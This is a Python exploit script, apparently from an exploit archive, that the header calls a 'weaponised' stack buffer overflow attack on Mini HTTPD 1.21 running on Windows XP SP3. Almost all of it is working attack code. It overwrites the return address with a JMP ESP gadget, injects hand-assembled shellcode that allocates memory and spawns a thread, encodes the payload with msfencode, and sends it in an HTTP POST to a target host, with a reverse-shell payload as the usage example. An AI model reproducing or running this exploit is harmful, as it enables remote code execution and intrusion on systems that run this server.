#!/usr/bin/python
#
# Title: Mini HTTPD stack buffer overflow POST exploit
# Author: TheColonial
# Date: 20 Feb 2013
# Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html
# Vendor Homepage: http://www.picolix.jp/
# Version: 1.21
# Tested on: Windows XP Professional SP3
#
# Description:
# This is a slightly more weaponised version of the Mini HTTPD buffer overflow
# written by Sumit, located here: http://www.exploit-db.com/exploits/31736/
# I wrote this up because the existing version had a hard-coded payload and
# didn't work on any of my XP boxes.
#
# The instability of the existing is down to bad chars, and the parent thread
# killing off the child thread when the thing is still running. This exploit
# allocates memory in a safe area, copies the payload to it, creates a new
# thread which runs the payload and then suspends the current thread. The
# suspending of the thread forces the parent to kill it off rather than let
# it crash and potentially bring the process down.
#
# Run the script without arguments to see usage.
import
struct, socket, sys, subprocess
# Helper function that reads the body of files off disk.
def
file_content(path):
with
open
(path,
'rb'
) as f:
return
f.read()
# Sent the payload in the correct format to the target host/port.
def
pwn(host, port, payload):
print
"[*] Connecting to {0}:{1}..."
.
format
(host, port)
s
=
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print
"[*] Connected, sending payload {0} bytes..."
.
format
(
len
(payload))
payload
=
"POST /{0} HTTP/1.1\r\nHost: {1}\r\n\r\n"
.
format
(payload, host)
s.send(payload)
s.shutdown
s.close
print
"[+] Payload of {0} bytes sent, hopefully your shellcode executed."
.
format
(
len
(payload))
# Create the part of the payload creates a thread to run the final payload in.
def
create_payload_thread(final_payload_size):
VirtualAlloc
=
struct.pack(
"<L"
,
0x7c809AE1
)
# in kernel32
CreateThread
=
struct.pack(
"<L"
,
0x7c8106c7
)
# in kernel32
SuspendThread
=
struct.pack(
"<L"
,
0x7c83974A
)
# in kernel32
payload
=
""
payload
+
=
"\x83\xec\x02"
# add esp, 0x2 (aligns the stack)
payload
+
=
"\x89\xe6"
# mov esi, esp
payload
+
=
"\x83\xc6\x00"
# add esi, <some offset filled later>
count_offset
=
len
(payload)
-
1
# zero out ebx because we use zero a lot
payload
+
=
"\x31\xdb"
# xor ebx,ebx
# allocate some memory to store our shellcode in which is
# away from the current active area and somewhere safe
payload
+
=
"\x6a\x40"
# push 0x40
payload
+
=
"\x68\x00\x30\x00\x00"
# push 0x3000
payload
+
=
"\x68\x00\x10\x00\x00"
# push 0x1000
payload
+
=
"\x53"
# push ebx
payload
+
=
"\xB8"
+
VirtualAlloc
# mov eax,<address>
payload
+
=
"\xff\xd0"
# call eax
# copy the payload over to the newly allocated area
size_bin
=
struct.pack(
"<L"
, final_payload_size
+
4
)
payload
+
=
"\xb9"
+
size_bin
# mov ecx,final_payload_size
payload
+
=
"\x89\xc7"
# mov edi,eax
payload
+
=
"\xf2\xa4"
# rep movsb
# create the thread with a starting address pointing to the
# allocated area of memory
payload
+
=
"\x53"
# push ebx
payload
+
=
"\x53"
# push ebx
payload
+
=
"\x53"
# push ebx
payload
+
=
"\x50"
# push eax
payload
+
=
"\x53"
# push ebx
payload
+
=
"\x53"
# push ebx
payload
+
=
"\xB8"
+
CreateThread
# mov eax,<address>
payload
+
=
"\xff\xd0"
# call eax
# We call SuspendThread on the current thread, because this
# forces the parent to kill it. The bonus here is that doing
# so prevents the thread from dying and bringing the whole
# process down.
payload
+
=
"\x4b"
# dec ebx
payload
+
=
"\x4b"
# dec ebx
payload
+
=
"\x53"
# push ebx
payload
+
=
"\xB8"
+
SuspendThread
# mov eax,<address>
payload
+
=
"\xff\xd0"
# call eax
payload
+
=
"\x90"
*
4
# fill in the correct offset so that we point ESI to the
# right location at the start of the final payload
size
=
len
(payload)
+
final_payload_size
%
4
print
"[*] Final stage is {0} bytes."
.
format
(final_payload_size)
offset
=
struct.pack(
"B"
, size)
# write the value to the payload at the right location and return
return
payload[
0
:count_offset]
+
offset
+
payload[count_offset
+
1
:
len
(payload)]
# Creates the first stage of the exploit which overwrite EIP to get control.
def
create_stage1():
eip_offset
=
5412
jmp_esp
=
struct.pack(
"<L"
,
0x7e4456F7
)
# JMP ESP in advapi32
eip_offset2
=
eip_offset
+
4
payload
=
""
payload
+
=
"A"
*
eip_offset
# padding to reach EIP overwrite
payload
+
=
jmp_esp
# address to overwrite IP with
payload
+
=
"\x90"
# alignment
payload
+
=
"\x83\xEC\x21"
# rejig ESP
return
payload
# Create encoded shellcode from the given payload.
def
create_encoded_shellcode(payload):
print
"[*] Input payload of {0} bytes received. Encoding..."
.
format
(
len
(payload))
params
=
[
'msfencode'
,
'-e'
,
'x86/opt_sub'
,
'-t'
,
'raw'
,
'BufferRegister=ESP'
,
'BufferOffset=42'
,
'ValidCharSet=filepath'
]
encode
=
subprocess.Popen(params, stdout
=
subprocess.PIPE, stdin
=
subprocess.PIPE)
shellcode, _
=
encode.communicate(payload)
print
"[*] Shellcode of {0} bytes generated."
.
format
(
len
(shellcode))
return
shellcode
print
""
print
"MiniHTTPd 1.21 exploit for WinXP SP3 - by TheColonial"
print
"-----------------------------------------------------"
print
""
print
" Note: msfencode must be in the path and Metasploit must be up to date."
if
len
(sys.argv) !
=
4
:
print
""
print
" Usage: {0} <host> <port> <payloadfile>"
.
format
(sys.argv[
0
])
print
""
print
" host : IP/name of the target host."
print
" port : Port that the target is running on."
print
" payloadfile : A file with the raw payload that is to be run."
print
" This should be the raw, non-encoded output of"
print
" a call to msfpayload"
print
""
print
" eg. {0} 192.168.1.1 80 reverse_shell_raw.bin"
print
""
else
:
print
""
print
" Make sure you have your listeners running!"
print
""
host
=
sys.argv[
1
]
port
=
int
(sys.argv[
2
])
payload_file
=
sys.argv[
3
]
stage1
=
create_stage1()
final_stage
=
file_content(payload_file)
thread_payload
=
create_payload_thread(
len
(final_stage))
shellcode
=
create_encoded_shellcode(thread_payload
+
final_stage)
padding
=
"A"
*
0x10
pwn(host, port, stage1
+
shellcode
+
padding)